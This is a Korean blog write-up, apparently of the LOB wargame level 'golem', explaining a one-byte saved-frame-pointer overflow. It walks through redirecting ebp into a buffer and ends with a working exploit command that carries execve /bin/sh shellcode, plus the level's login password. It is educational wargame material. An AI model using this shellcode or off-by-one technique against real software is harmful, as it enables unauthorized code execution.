CafeM0ca

[LOB]level11 golem 본문

Hacking/LOB(Red Hat)

[LOB]level11 golem

M0ca 2018. 1. 4. 00:42
반응형

입장ID:golem

입장PW:cup of coffee


problem_child에서 1바이트만큼 오버플로우된다. 

버퍼오버플로우시킨 후 eip의 흐름을 보자

인자 "\x90"*40+"A"

problem_child+41에 break point를 잡고 ebp를 확인해보면 버퍼에 nop*40+A가 박혀있다.


ebp를 보면 주소가 0xbffffc41다. 41번째 byte는 오버플로우된 바이트고 42,43,44번재 byte는 \xfc\xff\xbf가 박혀있는 상태다. 따라서 41번째 byte를 주소를 잘 맞춰주면 버퍼의 주소를 가르킬 수 있다는 의미고 이는 버퍼에 쉘코드를 올리면 쉘이 실행된다는 의미다.


쉘코드를 올리고 41번째 byte를 54로 맞춰보자.

problem_child 에필로그전 ebp는 쉘코드 주소를 가리키고 있다. 


leave명령후 ebp는 쉘코드를 가리키고있다.


main함수의 ret바로 전 레지스터의 상태를 보면 eip는 buffer+4부분을 가리키고있다. eip를 buffer를 가리키게 되면(buffer를 가리키는 포인터 0xbffffc54)쉘이 실행될 듯 하다. 41번째 byte를 0x54-8해주면 된다.


payload

./darkknight `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x4c"'`




반응형

'Hacking > LOB(Red Hat)' 카테고리의 다른 글

[LOB]level13 bugbear  (0) 2018.01.17
[LOB]level12 darkknight  (0) 2018.01.04
[LOB]level10 skeleton  (0) 2018.01.03
level9 vampire  (0) 2017.09.14
level8 troll  (0) 2017.09.14
Comments